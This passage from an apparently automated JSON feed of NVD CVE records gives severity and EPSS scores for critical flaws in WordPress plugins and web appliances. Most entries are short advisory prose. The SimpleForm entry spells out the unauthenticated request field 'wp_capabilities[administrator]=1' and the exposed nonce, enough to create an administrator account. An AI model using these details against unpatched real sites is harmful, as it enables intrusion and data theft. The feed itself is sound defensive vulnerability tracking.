2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-37281&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-37281, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108065","cveId":"CVE-2026-108065","aliases":[],"kind":"vulnerability","title":"SQL Injection (CWE-89) in the SOAP GetUser method of the /preapproval.asmx endpoint in Channel Software WebAlliance eCommerce [VERSION — missing] allows an unauthenticated remote...","summary":"SQL Injection (CWE-89) in the SOAP GetUser method of the /preapproval.asmx endpoint in Channel Software WebAlliance eCommerce [VERSION — missing] allows an unauthenticated remote attacker to read, write, and potentially execute commands on the backend Microsoft SQL Server via a crafted sUserID parameter value containing a single quote and stacked SQL query.","detail":"SQL Injection (CWE-89) in the SOAP GetUser method of the /preapproval.asmx endpoint in Channel Software WebAlliance eCommerce [VERSION — missing] allows an unauthenticated remote attacker to read, write, and potentially execute commands on the backend Microsoft SQL Server via a crafted sUserID parameter value containing a single quote and stacked SQL query.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T14:17:33.813Z","updatedAt":"2026-10-16T19:56:15.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108065","asOf":"2026-10-16T19:56:15.773Z"},"epss":{"probability":0.00854,"percentile":0.58051,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108065&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108065","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108065","type":"primary","publishedAt":"2026-10-14T14:17:33.813Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108065&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108065, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-16741","cveId":"CVE-2026-16741","aliases":[],"kind":"vulnerability","title":"Improper neutralization of special elements used in an OS command ('OS command injection') vulnerability in TR7 Cyber ​​Defense Inc.","summary":"Improper neutralization of special elements used in an OS command ('OS command injection') vulnerability in TR7 Cyber ​​Defense Inc. TR7 ASP on virtual appliance and TR7 Cyber ​​Defense Inc. TR7 ASP on physical appliance allows OS Command Injection.\n\nThis issue affects TR7 ASP: from 1.0.40.236 before 1.0.1554.2331; TR7 ASP: from 1.6.42.239 before 1.6.1554.2331.","detail":"Improper neutralization of special elements used in an OS command ('OS command injection') vulnerability in TR7 Cyber ​​Defense Inc. TR7 ASP on virtual appliance and TR7 Cyber ​​Defense Inc. TR7 ASP on physical appliance allows OS Command Injection.\n\nThis issue affects TR7 ASP: from 1.0.40.236 before 1.0.1554.2331; TR7 ASP: from 1.6.42.239 before 1.6.1554.2331.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T13:17:28.103Z","updatedAt":"2026-10-15T14:42:22.220Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-16741","asOf":"2026-10-15T14:42:22.220Z"},"epss":{"probability":0.01699,"percentile":0.77032,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-16741&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-16741","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-16741","type":"primary","publishedAt":"2026-10-14T13:17:28.103Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-16741&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-16741, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-16740","cveId":"CVE-2026-16740","aliases":[],"kind":"vulnerability","title":"Missing authentication for critical function vulnerability in TR7 Cyber ​​Defense Inc.","summary":"Missing authentication for critical function vulnerability in TR7 Cyber ​​Defense Inc. TR7 ASP on virtual appliance and TR7 Cyber ​​Defense Inc. TR7 ASP on physical appliance allows OS Command Injection.\n\nThis issue affects TR7 ASP: from 1.0.40.236 before 1.0.1554.2331; TR7 ASP: from 1.6.42.239 before 1.6.1554.2331.","detail":"Missing authentication for critical function vulnerability in TR7 Cyber ​​Defense Inc. TR7 ASP on virtual appliance and TR7 Cyber ​​Defense Inc. TR7 ASP on physical appliance allows OS Command Injection.\n\nThis issue affects TR7 ASP: from 1.0.40.236 before 1.0.1554.2331; TR7 ASP: from 1.6.42.239 before 1.6.1554.2331.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T13:17:27.977Z","updatedAt":"2026-10-15T14:42:22.220Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-16740","asOf":"2026-10-15T14:42:22.220Z"},"epss":{"probability":0.01677,"percentile":0.76719,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-16740&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-16740","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-16740","type":"primary","publishedAt":"2026-10-14T13:17:27.977Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-16740&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-16740, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108291","cveId":"CVE-2026-108291","aliases":[],"kind":"vulnerability","title":"Deserialization of Untrusted Data vulnerability in itthinx Affiliates affiliates allows Object Injection.This issue affects Affiliates: from n/a through 7.0.1.","summary":"Deserialization of Untrusted Data vulnerability in itthinx Affiliates affiliates allows Object Injection.This issue affects Affiliates: from n/a through 7.0.1.","detail":"Deserialization of Untrusted Data vulnerability in itthinx Affiliates affiliates allows Object Injection.This issue affects Affiliates: from n/a through 7.0.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T13:17:24.633Z","updatedAt":"2026-10-15T17:17:14.040Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108291","asOf":"2026-10-15T17:17:14.040Z"},"epss":{"probability":0.00444,"percentile":0.38342,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108291&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108291","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108291","type":"primary","publishedAt":"2026-10-14T13:17:24.633Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108291&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108291, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107424","cveId":"CVE-2026-107424","aliases":[],"kind":"vulnerability","title":"Incorrect Privilege Assignment vulnerability in M A Vinoth Kumar Frontend Dashboard frontend-dashboard allows Privilege Escalation.This issue affects Frontend Dashboard: from n/a...","summary":"Incorrect Privilege Assignment vulnerability in M A Vinoth Kumar Frontend Dashboard frontend-dashboard allows Privilege Escalation.This issue affects Frontend Dashboard: from n/a through 3.0.7.","detail":"Incorrect Privilege Assignment vulnerability in M A Vinoth Kumar Frontend Dashboard frontend-dashboard allows Privilege Escalation.This issue affects Frontend Dashboard: from n/a through 3.0.7.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T13:17:23.453Z","updatedAt":"2026-10-14T14:26:59.367Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107424","asOf":"2026-10-14T14:26:59.367Z"},"epss":{"probability":0.0038,"percentile":0.31729,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107424&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107424","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107424","type":"primary","publishedAt":"2026-10-14T13:17:23.453Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107424&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107424, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-14851","cveId":"CVE-2026-14851","aliases":[],"kind":"vulnerability","title":"A vulnerability relating to the exposure of confidential information in the customer invoicing web application, which exposes personally identifiable information (PII) and...","summary":"A vulnerability relating to the exposure of confidential information in the customer invoicing web application, which exposes personally identifiable information (PII) and financial data – including customer names, addresses, invoice numbers, payment details and tax information – to unauthorised individuals. The issue is caused by a lack of authorisation checks at the endpoint responsible for serving PDF invoice files. Furthermore, some URLs for invoicing documents appear to be publicly accessible via search engines, exposing paths to confidential files. Successful exploitation of this vulnerability could allow an attacker to access data to which they should not have access, as well as to predict identifiers in order to access even more confidential information.","detail":"A vulnerability relating to the exposure of confidential information in the customer invoicing web application, which exposes personally identifiable information (PII) and financial data – including customer names, addresses, invoice numbers, payment details and tax information – to unauthorised individuals. The issue is caused by a lack of authorisation checks at the endpoint responsible for serving PDF invoice files. Furthermore, some URLs for invoicing documents appear to be publicly accessible via search engines, exposing paths to confidential files. Successful exploitation of this vulnerability could allow an attacker to access data to which they should not have access, as well as to predict identifiers in order to access even more confidential information.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T09:17:22.437Z","updatedAt":"2026-10-15T16:33:47.027Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-14851","asOf":"2026-10-15T16:33:47.027Z"},"epss":{"probability":0.00332,"percentile":0.26207,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-14851&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-14851","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-14851","type":"primary","publishedAt":"2026-10-14T09:17:22.437Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-14851&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-14851, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104748","cveId":"CVE-2026-104748","aliases":[],"kind":"vulnerability","title":"The SimpleForm – Form Maker to Chat Apps with Quiz, Poll and Multi Lead Notifications plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and...","summary":"The SimpleForm – Form Maker to Chat Apps with Quiz, Poll and Multi Lead Notifications plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 3.10.0 This is due to the `wp_ajax_nopriv_simpleform_wp_register` AJAX action lacking any capability check for role assignment and the `save_custom_fields_to_user_meta()` function using an exclusion list that omits `wp_capabilities`, combined with `get_form_settings()` returning a hard-coded defaults array that unconditionally enables meta writing regardless of the supplied `form_id`. This makes it possible for unauthenticated attackers to create a new Administrator-level WordPress account by supplying `wp_capabilities[administrator]=1` alongside standard registration fields. The nonce required by the endpoint is publicly emitted into the `front_end_data` JavaScript object on every front-end page via `wp_enqueue_scripts`, making it trivially obtainable by any unauthenticated visitor before submitting the malicious request.","detail":"The SimpleForm – Form Maker to Chat Apps with Quiz, Poll and Multi Lead Notifications plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 3.10.0 This is due to the `wp_ajax_nopriv_simpleform_wp_register` AJAX action lacking any capability check for role assignment and the `save_custom_fields_to_user_meta()` function using an exclusion list that omits `wp_capabilities`, combined with `get_form_settings()` returning a hard-coded defaults array that unconditionally enables meta writing regardless of the supplied `form_id`. This makes it possible for unauthenticated attackers to create a new Administrator-level WordPress account by supplying `wp_capabilities[administrator]=1` alongside standard registration fields. The nonce required by the endpoint is publicly emitted into the `front_end_data` JavaScript object on every front-end page via `wp_enqueue_scripts`, making it trivially obtainable by any unauthenticated visitor before submitting the malicious request.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T08:17:02.997Z","updatedAt":"2026-10-15T17:17:11.513Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104748","asOf":"2026-10-15T17:17:11.513Z"},"epss":{"probability":0.00833,"percentile":0.5738,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104748&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104748","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104748","type":"primary","publishedAt":"2026-10-14T08:17:02.997Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104748&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104748, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-89310","cveId":"CVE-2026-89310","aliases":[],"kind":"vulnerability","title":"A parameter taken from the request body is inserted into\na T-SQL statement without parameterization or escaping, allowing\na remote attacker to execute arbitrary SQL statements in...","summary":"A parameter taken from the request body is inserted into\na T-SQL statement without parameterization or escaping, allowing\na remote attacker to execute arbitrary SQL statements in the context of the\napplication's database account.","detail":"A parameter taken from the request body is inserted into\na T-SQL statement without parameterization or escaping, allowing\na remote attacker to execute arbitrary SQL statements in the context of the\napplication's database account.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T07:17:04.650Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-89310","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00467,"percentile":0.40168,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-89310&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-89310","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-89310","type":"primary","publishedAt":"2026-10-14T07:17:04.650Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-89310&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-89310, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107594","cveId":"CVE-2026-107594","aliases":[],"kind":"vulnerability","title":"The File Upload to Order WordPress plugin before 1.1.4 does not validate or confine a file path taken from attacker-controlled session data before deleting the file, and the...","summary":"The File Upload to Order WordPress plugin before 1.1.4 does not validate or confine a file path taken from attacker-controlled session data before deleting the file, and the action that performs the deletion is reachable by unauthenticated users, allowing them to delete arbitrary files on the server, including files whose removal leads to full site compromise.","detail":"The File Upload to Order WordPress plugin before 1.1.4 does not validate or confine a file path taken from attacker-controlled session data before deleting the file, and the action that performs the deletion is reachable by unauthenticated users, allowing them to delete arbitrary files on the server, including files whose removal leads to full site compromise.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T07:17:02.090Z","updatedAt":"2026-10-14T16:14:02.800Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107594","asOf":"2026-10-14T16:14:02.800Z"},"epss":{"probability":0.0046,"percentile":0.39633,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107594&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107594","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107594","type":"primary","publishedAt":"2026-10-14T07:17:02.090Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107594&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107594, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-87855","cveId":"CVE-2026-87855","aliases":[],"kind":"vulnerability","title":"The JTL-Connector for WooCommerce plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 2.4.3 via the saveImage() function.","summary":"The JTL-Connector for WooCommerce plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 2.4.3 via the saveImage() function. This is due to the startSession() function accepting an empty jtlauth parameter as a valid credential, combined with insufficient file type validation in handleImagePush(). This makes it possible for unauthenticated attackers to upload files that may be executable, which makes remote code execution possible.","detail":"The JTL-Connector for WooCommerce plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 2.4.3 via the saveImage() function. This is due to the startSession() function accepting an empty jtlauth parameter as a valid credential, combined with insufficient file type validation in handleImagePush(). This makes it possible for unauthenticated attackers to upload files that may be executable, which makes remote code execution possible.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-14T04:18:52.840Z","updatedAt":"2026-10-14T15:17:26.197Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-87855","asOf":"2026-10-14T15:17:26.197Z"},"epss":{"probability":0.0079,"percentile":0.5598,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-87855&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-87855","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-87855","type":"primary","publishedAt":"2026-10-14T04:18:52.840Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-87855&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-87855, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104800","cveId":"CVE-2026-104800","aliases":[],"kind":"vulnerability","title":"The AGE-GATE plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1.0 via the 'width (and height)' parameter parameter.","summary":"The AGE-GATE plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1.0 via the 'width (and height)' parameter parameter. This is due to missing authentication, capability checks, and nonce verification on the standalone admin.php endpoint, combined with unsanitized injection of POST parameters directly into generated PHP source written to an included file. This makes it possible for unauthenticated attackers to execute code on the server. This is possible because admin.php does not load WordPress and carries no ABSPATH guard, making it a fully unauthenticated entry point regardless of the decorative capability arguments registered via the plugin's simulated menu API.","detail":"The AGE-GATE plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1.0 via 